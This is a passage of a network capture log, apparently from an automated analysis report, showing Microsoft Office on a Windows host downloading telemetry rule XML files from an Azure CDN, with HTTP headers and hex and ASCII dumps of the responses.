37	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:26 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115826Z-185f5d8b95c96jn4hC1NYCbgp80000000a3g00000000fkwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:26 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115826Z-185f5d8b95crl6swhC1NYC3ueg0000000a7g00000000hwpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:26 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:27 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:27 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115827Z-185f5d8b95crwqd8hC1NYCps680000000a4000000000d452 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:27 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:27 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115827Z-185f5d8b95c96jn4hC1NYCbgp80000000a7g0000000061h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:27 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115827Z-185f5d8b95cp7lkfhC1NYC7rpw0000000a9g00000000b85x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:27 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:27 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115827Z-1777c6cb754ww792hC1TEBzqu400000009f0000000003s2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:27 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:27 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115827Z-1777c6cb7542p5p4hC1TEBq09800000009p00000000008e1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:28 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:28 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115828Z-185f5d8b95cwtv72hC1NYC141w0000000a6g000000001d4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:28 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:28 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115828Z-r1d97b99577ckpmjhC1TEBrzs000000008wg000000006354 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:28 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115828Z-185f5d8b95ctl8xlhC1NYCn94g0000000ab0000000003s9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:28 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115828Z-1777c6cb7542p5p4hC1TEBq09800000009mg0000000040c2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:28 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:28 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115828Z-1777c6cb7544n7p6hC1TEByvb400000009kg00000000gqzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:28 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> 